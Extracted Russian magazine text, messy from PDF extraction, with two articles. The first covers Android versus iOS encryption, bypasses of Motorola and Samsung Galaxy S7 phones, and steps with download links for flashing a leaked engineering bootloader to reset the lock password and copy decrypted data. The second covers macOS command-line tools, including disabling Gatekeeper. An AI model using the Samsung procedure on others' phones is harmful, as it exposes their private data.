нос ти.  При  уда лении фай ла  и  осво бож дении  бло ков  дан ных  на  дис ке  соот‐ 

ветс тву ющие им клю чи уда ляют ся, что дела ет совер шенно невоз можным вос‐ 

ста нов ление информа ции из таких бло ков.

Пол нодис ковое  шиф рование  в  Android  устро ено  нам ного  про ще.  Крип‐ 

тогра фичес кий ключ один на весь раз дел; на уров не сис темы никакой допол‐ 

нитель ной защиты для отдель ных типов дан ных (см. понятие «связ ка клю чей»

в iOS) не пре дус мотре но.

Но и это еще не все! Так, если поль зователь iOS уста новил на свой iPhone

пароль или PIN‐код (а его при ходит ся уста новить, что бы акти виро вать дат чик

отпе чат ков  паль цев  Touch  ID),  то  крип тогра фичес кий  ключ  будет  генери‐ 

ровать ся на лету в про цес се заг рузки устрой ства на осно ве как дан ных из Se‐

cure Enclave, так и собс твен но пароля, вве ден ного поль зовате лем.

При  пол нодис ковом  шиф ровании  дей ству ет  сов сем  дру гая  схе ма.  Если

поль зователь не вклю чит режим «Зап рашивать пароль при заг рузке  устрой‐ 

ства»,  то  раз дел  дан ных  будет  зашиф рован  клю чом,  который  соз дает ся

на  осно ве  фик сирован ного  пароля  default_password  и  крип тогра фичес ких

дан ных, которые хра нят ся в защищен ной сре де Trusted Execution Environment

(TEE).

Еще раз, помед леннее. Ты можешь вво дить сколь угод но длин ный пароль,

но ключ для шиф рования всех тво их дан ных будет осно ван на фра зе default_‐

password и дан ных из TEE.

Ис поль зование фра зы default_password вмес то PIN‐кода или пароля поль‐ 

зовате ля  поз воля ет  Android  пол ностью  заг рузить  сис тему  и  запус тить  при‐ 

ложе ния  еще  до  того,  как  ты  раз бло киру ешь  смар тфон.  Сей час  не  будем

о том, зачем это сде лано имен но так; теории, что телефо ны на Android склон‐ 

ны  к  самоп роиз воль ным  перезаг рузкам,  а  iPhone  —  нет,  мы  отме тем

как несос тоятель ные. Прос то кон ста тиру ем, что, с одной сто роны, такая схе‐ 

ма удоб на; с дру гой — зна читель но менее безопас на, если срав нивать с под‐ 

ходом Apple или обя затель ным исполь зовани ем пароля для заг рузки устрой‐ 

ства. В кон це кон цов, ник то не меша ет тебе пожер тво вать толикой удобс тва

и вклю чить тот самый режим «Зап рашивать пароль при заг рузке устрой ства».

Тем  не менее  даже  такой  защиты  «паролем  по  умол чанию»  уже  дос таточ но

для  того,  что бы  низ коуров невое  извле чение  дан ных  (нап ример,  с  пря мым

дос тупом  к  мик росхе ме  памяти)  не  сра бота ло:  раз дел  дан ных  оста нет ся

зашиф рован ным,  а  необ ходимые для  генера ции  клю ча шиф рования дан ные

невоз можно будет извлечь из модуля TEE.

Ес ли  же  ты  вклю чишь  режим  безопас ной  заг рузки  (Secure  start‐up)

и  опцию  «Зап рашивать  пароль  при  заг рузке  устрой ства»,  то  ключ  шиф‐ 

рования будет генери ровать ся каж дый раз при заг рузке устрой ства на осно‐ 

ве  как  дан ных  из  TEE,  так  и  того  пароля,  который  вве дет  поль зователь.

Телефон не смо жет про дол жить заг рузку, а дан ные не будут рас шифро ваны

до тех пор, пока поль зователь не ука жет пра виль ный пароль.

Вклю чаем режим Secure start‐up

В  целом  такая  схе ма  работа ет  про тив  пря моли ней ных  атак  стан дар тны ми

метода ми. Но…

Продолжение статьи →
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ИЗУЧАЕМ БАГИ LG, SAMSUNG И MOTOROLA, 
ПОЗВОЛЯЮЩИЕ СНЯТЬ ДАННЫЕ 

С ЗАШИФРОВАННОГО СМАРТФОНА

COVERSTORY  НАЧАЛО СТАТЬИ←

ЧТО-ТО ПОШЛО НЕ ТАК

Пос ле  того  как Google вве ла прак тику обя затель ного неот клю чаемо го шиф‐ 
рования раз дела дан ных, мно гие поль зовате ли ста ли думать (если они вооб‐ 
ще об этом задумы вались), что их смар тфо ны с Android по безопас ности сов‐ 
сем как iPhone. Неот клю чаемое аппа рат ное шиф рование, кор рек тно исполь‐ 
зуемые  дат чики  отпе чат ков  паль цев,  заб локиро ван ные  заг рузчи ки,  защита
от кра жи и сбро са к завод ским нас трой кам — галоч ки мож но пос тавить нап‐ 
ротив каж дого пун кта. Казалось бы, что может пой ти не так?

«Не так» начина ется в тот момент, ког да мы спус каем ся с небес на зем лю
и  вмес то  абс трак тно го  «чис того  Android»  начина ем  рас смат ривать  реаль но
сущес тву ющие устрой ства. Спе циаль но для тех, кто счи тает, что «надо брать
Nexus/Pixel и про чие  гуг лофоны», ремар ка: опи сан ный ниже метод был раз‐ 
работан  на  осно ве  уяз вимос ти,  обна ружен ной  имен но  в  смар тфо не
от Google — Nexus 6 и исправ ленной лишь в июле 2017 года.

ЧТО-ТО ПОШЛО НЕ ТАК, ЧАСТЬ ПЕРВАЯ: MOTOROLA

Заг рузчи ки,  FRP, шиф рование… Ока залось,  что все эти вещи мож но обой ти
бук валь но  в  пару  кли ков,  если  исполь зовать  метод,  раз работан ный  Oxygen
и встро енный в софт для полицей ских «Мобиль ный кри мина лист». Как обна‐ 
ружи лось,  в  подав ляющем боль шинс тве  устрой ств,  выпущен ных под мар кой
Motorola как во вре мена быт ности ее незави симой ком пани ей, так и под кры‐ 
лом спер ва Google, а потом и Lenovo, при сутс тву ет  кри тичес кая уяз вимость
на  уров не  заг рузчи ка.  Уяз вимос ти  под верже ны  прак тичес ки  все  устрой ства
Motorola, выпущен ные в пери од с 2013 по 2017 год. Метод дей ству ет незави‐ 
симо  от  вер сии  Android,  бло киров ки  заг рузчи ка  и  ста туса  FRP.  Уяз вимость
была исправ лена лишь в тех устрой ствах, которые работа ют под управле нием
пос ледних  вер сий  Android  с  июль ским  пат чем  безопас ности  (к  сло ву,  его
получи ли лишь самые све жие модели Motorola и некото рые флаг маны).

Ра бота ет  это  так.  Для  каж дого  кон крет ного  устрой ства  с  помощью  при‐ 
ложе ния (то есть в авто мати чес ком режиме) соз дает ся уни каль ный заг рузчик,
который заг ружа ется в опе ратив ную память  устрой ства и получа ет  управле‐ 
ние. Телефон при этом выг лядит так.

На компь юте ре будет сна чала так.

А потом так.

Даль нейшее — воп рос тех ники: заг ружен ный в память устрой ства код выпол‐ 
няет  все  коман ды,  с  помощью  которых  из  телефо на  извле кают ся  как  собс‐ 
твен но  дан ные  поль зовате ля,  так  и,  с  некото рыми  ого вор ками,  клю чи шиф‐ 
рования. Защищен ные дан ные рас шифро выва ются на лету. Метод опро бован
на  боль шом  количес тве  раз нооб разных  моделей  (испы тано  лич но);  он
работа ет даже для устрой ств с заб локиро ван ным заг рузчи ком и акти виро ван‐ 
ной защитой FRP.

О  каких  ого вор ках  идет  речь?  Дело  в  том,  что  клю чи  шиф рования  воз‐ 
можно  извлечь  не  всег да.  Так,  для  устрой ств,  обо рудо ван ных  аппа рат ным
модулем  TEE,  ключ  шиф рования  мож но  извлечь,  толь ко  если  поль зователь
не уста новил безопас ный экран бло киров ки (пароль или пат терн) или пароль
раз бло киров ки известен. А если нет? Мож но поп робовать подоб рать; прин‐ 
ципи аль ных огра ниче ний  здесь  нет,  но  перебор  воз можен  толь ко  на  самом
смар тфо не, а пос ле ряда неудач ных попыток TEE нач нет уве личи вать задер‐ 
жку  меж ду  попыт ками  на  аппа рат ном  уров не,  так  что  перебор  будет  очень
и очень мед ленным.

Сле дова тель но,  не  все  так  страш но? Воз можно,  осо бен но  если  на  твою
«Моторо лу»  при летел июль ский патч безопас ности или  у  тебя сов ремен ное
устрой ство с TEE и уста нов лен длин ный и слож ный пароль. Но подож ди, у нас
же  остался  лидер  смар тфо нос тро ения  —  Samsung!  Давай  пос мотрим,
как обсто ят дела с его прош логод ним флаг маном — Samsung Galaxy S7.

ЧТО-ТО ПОШЛО НЕ ТАК, ЧАСТЬ ВТОРАЯ: SAMSUNG GALAXY S7

В слу чае с Motorola нам может помешать наличие пароля устрой ства. Да, его
мож но  переби рать,  но  это  дол го,  мед ленно  и  скуч но.  Но  погоди,  зачем
пароль,  если  шиф рование  (по  край ней  мере  в  режиме  «по  умол чанию»)
от  него  никак  не  зависит?  Здесь  в  дело  всту пает  такая  шту ка,  как  TEE,
который сог ласен исполнять  (в нашем слу чае — с целью рас шифров ки раз‐ 
дела  дан ных)  исклю читель но  доверен ные  мик ропрог раммы,  под писан ные
про изво дите лем.  В  слу чае  со  смар тфо нами  Motorola  софт  от  «Оксиджен»
экс плу ати рует  уяз вимость  на  уров не  заг рузчи ка,  поз воляя  обой ти  стан дар‐ 
тные  механиз мы  защиты  от  выпол нения  про изволь ного  кода  во  вре мя  заг‐ 
рузки  смар тфо на,  то  есть  на  уров не  сис темы.  А  вот  на модуль  TEE  эта  уяз‐ 
вимость  никак  не  рас простра няет ся,  и  соп роцес сор  не  выдаст  крип тогра‐ 
фичес кий ключ, если код не под писан непос редс твен но про изво дите лем.

А  что,  если  сам  про изво дитель  соз даст  и  под пишет  сво ей  крип тогра‐ 
фичес кой  под писью  код,  который  полезет  в  TEE  и  вытащит  отту да  клю чи?
«Фан тасти ка»,  —  ска жешь  ты.  «Паранойя»,  —  хмык нешь  ты.  «Оче ред ная
теория  загово ра?»  —  спро сишь  ты.  И  будешь  не  прав.  Встре чай те:  ува‐ 
жаемая  ком пания Samsung,  номер один по  про дажам  устрой ств  на Android,
не  прос то  написа ла  (и  под писала)  такой  код,  но  и  поз волила  ему  утечь
в  интернет.  Почему‐то  про  это  не  тру били  во  всех  газетах  (а  ведь  каж дый
джей лбрейк каж дой мел кой под версии iOS широко осве щает ся соот ветс тву‐ 
ющи ми СМИ),  но факт  оста ется фак том:  инже нер ный  заг рузчик  был  соз дан
Samsung,  под писан Samsung,  укра ден  у Samsung и  выложен  в Сеть  на  все‐ 
общее обоз рение.

Что это озна чает на прак тике? Все го лишь то, что теперь мож но заг рузить
смар тфон  в  инже нер ный  заг рузчик  и  сбро сить  пароль  бло киров ки  устрой‐ 
ства. Вот прос то так — взять и сбро сить. И все? Нет, не все: инже нер ный заг‐ 
рузчик  поз воля ет  получить  пра ва  супер поль зовате ля,  уста новив  root  в  сис‐ 
тему. Даль нейшие шаги  три виаль ны:  смар тфон  заг ружа ется  в  сис тему,  раз‐ 
дел  дан ных  успешно  рас шифро выва ется,  и  при  помощи  root‐дос тупа  сни‐ 
мает ся пол ный   образ фай ловой сис темы.рас шифро ван ный

Пос мотрим  на  про цесс  вни матель нее.  Что  тебе  понадо бит ся?  Джентль‐ 
мен ский набор:
1. Мо дифи циро ван ная  вер сия  инс тру мен та 

.
Samsung  Odin  Downloader  Tool:

Odin3 v3.12 (PrinceComsy).zip
2. Ин женер ный заг рузчик  .G891A_7.0_ENG_ROOT.tar
3. Скрипт для уста нов ки root:  .Nougat_S7aRoot_2.82_V2.zip

Про цесс пошел:
1. Заг ружа ем устрой ство в  recovery:  заж ми кноп ки Vol+ и Home, пос ле чего
заж ми Power.  Удер живай  все  три  кноп ки,  пока  экран  не миг нет  и  на  нем
не появит ся лого. В этот момент отпусти кноп ки.

2. За пус каем Odin modified v.3.12 by PrinceComsy.
3. Про шива ем  инже нер ный  заг рузчик  из  архи ва  G891A_7.0_ENG_ROOT.tar
(не рас паковы вая), выб рав толь ко опцию AP и ука зав в ней путь к архи ву.

4. На этом эта пе пароль устрой ства будет сбро шен и ты смо жешь заг рузить
сис тему  и  акти виро вать  режим  раз работ чика  в  нас трой ках  (это  необ‐ 
ходимо, что бы зарабо тал ADB, если он не работа ет).

5. Рас пакуй Nougat_S7aRoot_2.82_V2.zip и запус ти root.bat.

На дан ном эта пе ты успешно сбро сил пароль устрой ства и получил root‐дос‐ 
туп и дос туп к ADB. У  тебя есть пол ный дос туп к фай ловой сис теме  (обра ти
вни мание,  уже  рас шифро ван ной  фай ловой  сис теме!).  Ско пиро вать  дан ные
на  компь ютер  теперь  мож но  с  помощью  любой  под ходящей  прог раммы —
от «Мобиль ного кри мина лис та» до прос того ADB.

Па роли? Шиф рование? Нет, не слы шали. Безопас ность? Samsung любит
погово рить  о  безопас ности,  но  по  фак ту  их  решения,  мяг ко  говоря,  неод‐ 
нознач ны.  Так,  опе раци онная  сис тема  Tizen  не  выдер жива ет  кри тичес кого
взгля да. Про цити рую сло ва Ами хая Ней дер мана: «Воз можно, это худ ший код
из тех, что мне довелось видеть. Все ошиб ки, которые мож но было допус тить,
были  допуще ны.  Оче вид но,  что  код  писал  или  про верял  кто‐то,  кто  ничего
не  понима ет  в  безопас ности.  Это  все  рав но,  что  поп росить  школь ника
написать для вас прог рам мное обес печение».

ПОЧЕМУ ЭТО РАБОТАЕТ И ЧЕМ ОТЛИЧАЕТСЯ ОТ УЯЗВИМОСТИ

MOTOROLA?

Важ ный момент здесь в том, что инже нер ный заг рузчик соз дан силами самой
ком пании  Samsung  и  под писан  элек трон ной  под писью,  которой  доверя ет
устрой ство.  С  точ ки  зре ния  телефо на  про цесс  доверен ной  заг рузки
не наруша ется, ведь заг ружа ется толь ко и исклю читель но код, под писан ный
про изво дите лем. А вот для Motorola это не так: хоть раз работ чики и обош ли
защиту заг рузчи ка, уда лось это про делать лишь с исполь зовани ем най ден ной
уяз вимос ти,  которую  Motorola  успешно  зак рыла  в  пат че  безопас ности
за июль 2017‐го. А вот инже нер ный заг рузчик Samsung ник то не собира ется
ни  пат чить,  ни  зак рывать,  ни  отзы вать  ском про мети рован ную  элек трон ную
под пись (вооб ще‐то имен но это дол жна была в пер вую оче редь сде лать ком‐ 
пания,  которая дей стви тель но — а не на сло вах — бес поко ится о безопас‐ 
ности).

ВОПРОС ПОЛИТИКИ: APPLE ПРОТИВ SAMSUNG ИЛИ ВСЕ ПРОТИВ

ФБР?

Ка залось  бы,  при  чем  тут  Apple?  Давай  отмо таем  вре мя  на  пол тора  года
назад и вспом ним, как дей ство вала ком пания в момент, ког да ФБР и встав‐ 
ший  на  сто рону  агентства  аме рикан ский  суд  пот ребова ли  от  Apple  соз дать
инс тру мент (ана лог инже нер ного заг рузчи ка), поз волив ший бы спец служ бам
подоб рать  пароль  на  при над лежав шем  тер рорис ту  из  Сан‐Бер нарди но
iPhone 5c.

Вес ной  2016  года  Apple  не  под чинилась  тре бова ниям  Федераль ного
бюро  рас сле дова ний  и  не  ста ла  соз давать  код  с  воз можностью  под бора
пароля  для  раз бло киров ки  смар тфо на.  Проб лема  защиты  информа ции
перерос ла в гло баль ную; на сто рону Apple вста ли такие монс тры индус трии,
как  Google,  Facebook  и  Microsoft.  В  конеч ном  ито ге  в  ФБР  спра вились
без  помощи  Apple,  зап латив  око ло  мил лиона  дол ларов  изра иль ской  ком‐ 
пании Cellebrite за взлом единс твен ного устрой ства.

Ин терес но здесь не толь ко то, как рьяно ком пания Apple ринулась отста‐ 
ивать пра ва сво их поль зовате лей на защиту информа ции в устрой ствах с iOS,
но и то, к каким пос ледс тви ям это при вело. А пос ледс твия замет ные: в Apple
пред при нима ют  шаги,  вся чес ки  огра ничи вающие  воз можнос ти  про изво ла
со  сто роны  полиции  и  спец служб  в  отно шении  поль зовате лей.  Так,  вско ре
пос ле  извес тных  событий  ком пания добави ла  ряд  усло вий,  при  сов падении
которых  авто мати чес ки  отклю чал ся  дат чик  отпе чат ков  паль цев,  а  смар тфон
тре бовал  раз бло киров ку  паролем.  Весь ма  радикаль но  ком пания  пос тупила
с  выпус ком  iOS  11,  в  которой  огра ничи ли  воз можность  исполь зовать
излюблен ный  полицей ски ми  метод  извлечь  дан ные  из  телефо нов  —
с помощью соз дания резер вной копии  (под робнос ти — в прош лом номере,
«

»).  Что  инте рес но,  в  Apple  ни  сло вом  не  обмолви лись  о  таких  новов‐ 
ведени ях в iOS 11.

Воп рос доверия. Как iOS 11 защитит тебя от про изво ла полиции и пог ранич‐ 
ников

А  вот  ком пания  Samsung  любит  погово рить  о  безопас ности.  «Samsung
гор дится  сво ими  ком плексны ми решени ями,  которые обес печива ют  пол ную
защиту  поль зователь ских  дан ных  и  при ложе ний»,  —    они
в  пресс‐релизе,  рек ламиру ющем  сис тему  безопас ности  KNOX.  Впро чем,
никакая гор дость не помеша ла ком пании раз работать инже нер ный заг рузчик,
поз воля ющий  про шивать  и  как  угод но модифи циро вать  устрой ство  в  обход
всех  пре дох раните лей  KNOX,  а  фак тичес кое  (а  не  гро мог ласно‐рек ламное)
отно шение к безопас ности — поз волить это му инже нер ному заг рузчи ку утечь
в сво бод ное пла ванье и не оза ботить ся отзы вом элек трон ной под писи ском‐ 
про мети рован ного заг рузчи ка.

пи шут

Прак тичес ки одновре мен но с инже нер ным заг рузчи ком для Samsung S7, поз‐ 
воля ющим  сбро сить  пароль  устрой ства,  появил ся  и  некий  ана лог  для  пря‐ 
мого кон курен та на  iOS — смар тфо на  iPhone 7. Недоро гая  (мень ше пятисот
дол ларов) коробоч ка и иду щий в ком плек те софт поз воля ют хоть и небыс тро
(из‐за  искусс твен ной  задер жки  на  аппа рат ном  уров не),  но  переби рать
пароли  к  iPhone  7  через  режим  DFU.  Пока  мы  устрой ство  не  тес тирова ли,
но зна комые полицей ские уве ряют, что по край ней мере для iOS 10 оно впол‐ 
не работос пособ но.

ЗАКЛЮЧЕНИЕ

Че тыре  про изво дите ля —  и  четыре  раз ных  под хода  к  безопас ности.  Режим
пря мого  дос тупа  к  хра нили щу  у  LG,  не  поз воля ющий  тем  не  менее  обой ти
шиф рование;  взлом заг рузчи ка целой линей ки  устрой ств Motorola,  поз воля‐ 
ющий  обхо дить  шиф рование,  но  зак рытый  ком пани ей  с  июль ским  пат чем
безопас ности;  инже нер ный  заг рузчик  Samsung,  слов но  спе циаль но  раз‐ 
работан ный для того, что бы кто угод но мог получить пол ный дос туп к зашиф‐ 
рован ным  дан ным;  и  Apple,  все  ужес точа ющая  фак тичес кую  безопас ность
устрой ств  без  осо бого шума.  Нас коль ко  важ на  безопас ность  дан ных  лич но
тебе?  Думаю,  от  отве та  на  этот  воп рос  может  зависеть  выбор  тво его  сле‐ 
дующе го смар тфо на.

https://androidfilehost.com/?fid=24591023225177749
https://cloud.mail.ru/public/BGy7/gKs4xzhRE/G891A_7.0_ENG_ROOT.tar
https://cloud.mail.ru/public/BGy7/gKs4xzhRE/Nougat_S7aRoot_2.82_V2.zip
https://xakep.ru/2017/09/18/ios-11-trust-issue/
http://mobile-review.com/news/samsung-knox-poluchila-vysshij-rejting-v-otchete-gartner-bezopasnost-mobilnyx-ustrojstv-sravnenie-platform
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Зна ние ути лит, которые помога ют работать
с  сис темой, —  это,  счи тай,  гиков ский  ана‐ 
лог вла дения боевым искусс твом. В 

  я  соб рал  советы  по  нас трой ке
скры тых  парамет ров  и  выбору  прог рамм
для  macOS,  а  в  этой  мы  пой дем  глуб же
и  поз накомим ся  с  ути лита ми  коман дной
стро ки,  боль шая  часть  которых  уни каль на
для  «мака».  Одни  помогут  в  диаг ности ке
сис темы, дру гие при годят ся при написа нии
скрип тов,  третьи  облегчат  работу  с  тер‐ 
миналом.

прош‐ 
лой  статье

НАСТРОЙКА СИСТЕМЫ
Смот рим и (не) меня ем парамет ры ядра
Ко ман да    отно сит ся  ско рее  к  древ ней магии Unix,  чем  к macOS. Она
отве чает  за  вывод  и  изме нение  парамет ров  ядра.  Наб рав  ,  ты
уви дишь более 1200 перемен ных. Счи тать одно зна чение мож но, если ввес ти
пос ле коман ды его наз вание, а с клю чом   будет выведе но толь ко зна чение.
Нап ример, коман да   выда ет модель
про цес сора.

sysctl

sysctl  ‐ah

‐n

sysctl ‐n machdep.cpu.brand_string

И это толь ко самый‐самый конец спис ка

Ме нять парамет ры мож но, вво дя коман ды вида

sysctl kern.maxprocperuid=1000

Эта  коман да  огра ничит  тысячей  мак сималь ное  количес тво  про цес сов,
запущен ных  от  одно го  поль зовате ля),  но,  если  не  зна ешь,  что  дела ешь,
рекомен дую не баловать ся с рабочей сис темой. В man ты най дешь таб лицу,
где  перечис лены  основные  парамет ры.  Так же  мне  попада лась 

, в которой автор пишет обер тку для   на Swift.
ин терес ная

статья sysctl

По  каж дой  ути лите  есть  под робней шая  справ ка

в man. Тебе нуж ны вер сии из раз делов (1) или (8)

для  исполь зования  из  коман дной  стро ки  и  (3) —

для  вызова  в  качес тве  фун кций.  Кста ти,  man

удоб но  читать,  если  написать  наз вание  коман ды

в  поис ковой  стро ке  Help  в  стан дар тном  «Тер‐ 

минале»,  —  вывод  man  откро ется  в  новом  окне

с при ятным жел тым фоном.

За пус каем всё на све те
Ес ли  ты дос таточ но дол го имел дело с  «маками»,  то навер няка стал кивал ся
с  . Это интерфейс к сис теме  launchd, которая начиная с Mac OS X
10.4  (Tiger)  приш ла  на  сме ну  длин ному  спис ку  ути лит,  поза имс тво ван ных
из FreeBSD (сре ди них — init,  rc, cron и дру гие). При меча тель но, что  launchd
теперь есть и в BSD, а для Linux был раз работан схо жий лаун чер — systemd,
который вошел во мно гие сов ремен ные дис три бути вы.

launchctl

На пер вый взгляд launchd дела ет очень прос тую вещь — запус кает и оста‐ 
нав лива ет  про цес сы,  руководс тву ясь  усло виями,  опи сан ными  в  кон фигура‐ 
цион ных  фай лах.  Ты  най дешь  их  в  , 

  и    (такие же пап ки  есть  в 
, скрип ты в них отве чают за работу час тей самой macOS). Отли чие

демонов от аген тов в том, что демоны запус кают ся от име ни сис темы, а аген‐ 
ты — от име ни поль зовате ля.

~/Library/LaunchAgents /Library/

LaunchAgents /Library/LaunchDaemons /System/

Library/

В перечис ленных пап ках лежат фай лы  .plist — то есть XML с опи сани ями
усло вий запус ка. Эти усло вия могут быть очень раз ными, что дела ет  launchd
край не  гиб кой  сис темой.  Нап ример,  про цес сы  мож но  запус кать  и  оста нав‐ 
ливать по вре мени подоб но cron, при опре делен ных изме нени ях в фай ловой
сис теме (нап ример, ког да в катало ге появ ляет ся новый файл или ког да мон‐ 
тиру ется носитель), в ответ на сетевой вызов и так далее.

При помощи команд   и 
  ты  можешь  акти виро вать  и  деак тивиро вать

запуск сис темных или собс твен ных скрип тов. В руководс твах  так же попада‐ 
ется ста рый вари ант —   и  , он тоже работа ет. Еще полез но знать
о  коман дах    (вывод  наз ваний  всех  сер висов)  и 

 — немед ленный запуск, незави симо от нас тро ек.

launchtl enable <название_сервиса> launchtl

disable  <название_сервиса>

load unload

launchctl  list launchctl

kickstart

Под робнее  о  launchd  читай  в  ,  на  сай те
  или  вкрат це  —  .  Для  соз дания  кон фигура‐ 

цион ных фай лов есть пара  гра фичес ких обо лочек —    и 
(обе  плат ные).  Еще  есть  ути лита  коман дной  стро ки  ,  которая  слег ка
упро щает управле ние.

офи циаль ной  докумен тации
launchd.info в  бло ге  Пола  Ансли

LaunchControl Lingon
lunchy

Ес ли  тебе  лень  ковырять ся  со  всем этим доб ром, можешь исполь зовать
ста рый доб рый cron. Занят ный факт: ког да ты соз дашь файл   коман‐ 
дой  , launchd запус тит cron как сер вис.

crontab

crontab ‐e

Ра бота ем с Gatekeeper
Бук вы  sp  в  наз вании  ути литы    про исхо дят  от  слов  system  policy.
Это  интерфейс  коман дной  стро ки  для  Gatekeeper,  механиз ма,  который  изо
всех  сил  меша ет  запус кать  непод писан ные  при ложе ния.  Этим  он  спа сает
от  шиф роваль щиков  неопыт ных  поль зовате лей  и,  увы,  немало  раз дра жает
опыт ных.

spctl

Что бы пос мотреть, работа ет ли Gatekeeper, пиши

spctl ‐‐status

Па фос ный ответ assessments enabled будет озна чать, что все под кон тро лем.
Если дума ешь, что пора осла бить гай ки и отклю чить Gatekeeper, пиши

sudo spctl ‐‐master‐disable

Ког да закон чишь с экспе римен тами, рекомен дую вер нуть все как было — для
это го замени параметр на  .‐‐master‐enable

Пос мотреть спи сок раз решен ных при ложе ний можешь коман дой

spctl ‐‐list

А  что бы  не  лис тать  сте ну  тек ста  и  видеть  толь ко  то,  что  сам  раз решил
в диало говом окне, можешь пофиль тро вать по отсутс твию мет ки:

spctl ‐‐list | grep UNLABELED

Собс твен но,  для  руч ного  добав ления  при ложе ний  в  спи сок  сущес тву ет  хит‐ 
рая  двух сту пен чатая  схе ма  с  мет ками.  Сна чала  добав ляешь  при ложе ние
и зада ешь ему мет ку:

spctl ‐‐add ‐‐label "Approved" <файл приложения>

А затем раз реша ешь все при ложе ния с этой мет кой:

spctl ‐‐enable ‐‐label "Approved"

Пос ле  это го мож но добав лять мет ки  к  новым прог раммам,  и они авто мати‐ 
чес ки  будут  занесе ны  в  белый  спи сок.  Точ но  так  же  мож но  разом  отоз вать
раз решение.  Под робнее  об  этом    на  сай те  The  Instructional,  отку да  я
брал при меры.

чи тай

Ме няем фай лы кон фигура ции
Об ути лите   я под робно писал в статье « ». Если вкрат‐ 
це,  то  она  отве чает  за  чте ние  и  изме нение  кон фигура цион ных  фай лов,
которые лежат в пап ках   в сис темной, общей и час тных  .

defaults Об вес macOS

Preferences Library

С  точ ки  зре ния  defaults  нас трой ки  раз делены  на  домены —  пос мотреть  их
спи сок  ты  можешь  коман дой  ,  а  вывес ти  перемен ные
в  домене  —  .  Зна чения  перемен ных
мож но менять коман дой

defaults  domains

defaults  read  <название_домена>

defaults write <домен> <переменная> ‐<тип> <значение>

При меры  перемен ных  опять  же    в  прош лой  статье  или  в 
, на которую я уже не раз ссы лал ся.

смот ри кол лекции
Кевина Сат тла

Нас тра иваем основные парамет ры сис темы
Ути лита    пред назна чена  для  нас трой ки  самых  базовых  вещей
вро де даты и вре мени или тай мера режима сна. Если вызывать 
без  парамет ров,  то  она  вой дет  в  инте рак тивный  режим.  Ничего  осо бен но
полез ного  здесь  нет.  Отдель ного  упо мина ния  зас лужива ет  раз ве  что
параметр для акти вации демона SSH:

systemsetup

systemsetup

sudo systemsetup ‐setremotelogin on

А  еще  systemsetup  побеж дает  в  номина ции  «самый  длин ный  параметр»  —
это  , он раз реша ет бло‐ 
киро вать кла виату ру сер вера,  ког да  тот находит ся в стой ке. А что, не  так уж
слож но запом нить!

‐setdisablekeyboardwhenenclosurelockisengaged

За даем сетевые нас трой ки
В паре с systemsetup идет  , менед жер сетевых нас тро ек. Инте‐ 
рак тивно го  режима  у  него  нет,  пос коль ку  для  поль зовате ля  он  не  несет
никакой  цен ности:  все  то  же  самое  мож но  нас тро ить  в  раз деле  «Сеть»
из «Сис темных нас тро ек». Зато дер гать networksetup из скрип тов или уда лен‐ 
но — самое то. Нап ример, коман да

networksetup

networksetup ‐listnetworkserviceorder

вы ведет  спи сок  кон фигура ций.  Да,  похоже,  парамет ры  при думы вал  тот  же
весель чак, что порабо тал над systemsetup.

Кста ти,  за  выбор  кон фигура ции  отве чает  дру гая  ути лита  —  .
Без  парамет ров  она  выведет  спи сок,  а  для  выбора  мож но  пос ле 
задать мет ку или номер из пре дос тавлен ного спис ка.

scselect

scselect

Уп равля ем Wi-Fi
Ко ман ду   мож но по пра ву счи тать сек ретной — если ты попыта ешь ся
прос то  выз вать  ее  из  тер минала,  то  ничего  не  вый дет. Дело  в  том,  что  она
скры та глу боко в сис теме, и сна чала нуж но вытащить ее на свет божий. Сде‐ 
лать это мож но коман дой

airport

sudo ln ‐s /System/Library/PrivateFrameworks/Apple80211.framework/

Versions/Current/Resources/airport /usr/local/bin/airport

Те перь ты можешь в любой момент наб рать  , и встро енный адап‐ 
тер Wi‐Fi про ведет быс трое ска ниро вание и выдаст спи сок сетей с ука зани ем
BSSID,  спо соба  шиф рования  и  про чих  харак терис тик.  Под робнос ти
о текущем под клю чении ты можешь узнать, наб рав  , а 

 разор вет его.

airport ‐s

airport ‐I sudo air‐

port ‐z

СБОР ДИАГНОСТИКИ
Смот рим пол ную свод ку о компь юте ре и прог раммах
Ес ли в меню «Ябло ко» выб рать пункт «Об этом Mac», а затем нажать на кноп‐ 
ку «Сис темный отчет», то ты уви дишь кучу вся кой информа ции о компь юте ре.
Так вот, ути лита   — это то же самое, но в сто раз под робнее.
Если  выз вать    без  парамет ров,  то  информа ция  будет
выведе на  целиком,  что  в  моем  слу чае  озна чает  3,8  Мбайт  тек ста.  Так  что
рекомен дую  исполь зовать  grep  для  поис ка  нуж ной  стро ки  или  сра зу  писать
что‐нибудь вро де такого:

system_profiler

system_profiler

system_profiler > ~/Desktop/profile.txt

Сре ди того, что вып люнет system_profiler, ты най дешь информа цию не толь ко
о  сис теме  и  устрой ствах,  но  и  обо  всех  прог раммах,  драй верах,  пла гинах,
биб лиоте ках  и  шриф тах.  Заод но  будут  выведе ны  час ти  сис темных  логов
и еще куча вся кой лабуды. Если все это тебя не инте ресу ет, пиши:

system_profiler ‐detailLevel mini

Тог да  ты  получишь  толь ко  све дения  о  компь юте ре.  Еще  мож но  добавить
параметр  , что бы было удоб нее обра баты вать получен ную информа цию
в скрип те.

‐xml

Об раща емся к служ бе катало гов
За обще ние со служ бой катало гов отве чает ути лита   — Directory Services
Command  Line,  она  в  свое  вре мя  приш ла  на  сме ну  netinfo.  Пове яло  сисад‐ 
мин ски ми  штуч ками?  Так  и  есть,  и  под робно  оста нав ливать ся  на  них  мы
не  будем.  Для  зат равки  пара  команд.  Можешь  вывес ти  спи сок  всех  поль‐ 
зовате лей:

dscl

dscl . ‐list /Users

Или информа цию о поль зовате ле в виде XML:

dscl . ‐read /Users/<имя пользователя>

Внут ри  закоди рован  даже  файл  с  ава тар кой!  Кста ти,  если  запус тить  dscl
без  парамет ров,  то  она  вой дет  в  инте рак тивный  режим,  где  ты  можешь
исполь зовать при выч ные коман ды cd и  ls для навига ции, а смот реть содер‐ 
жимое веток — коман дой read.

Ру лим кешами Directory Services и смот рим спи сок поль зовате лей
К dscl при лага ется еще одна ути лит ка —  , она отве чает за работу
с кешами служ бы катало гов. Ско рее все го, она извес тна тебе нам ного луч ше,
чем dscl, пос коль ку дол гое вре мя имен но ее нуж но было запус кать для сбро‐ 
са кеша DNS. Кста ти, в пос ледних вер сиях macOS это не работа ет, и вмес то

 теперь нуж но писать

dscacheutil

dscacheutil ‐flushcache

killall ‐HUP mDNSResponder

Что до dscacheutil, то ее удоб но исполь зовать, что бы выводить спи сок поль‐ 
зовате лей:

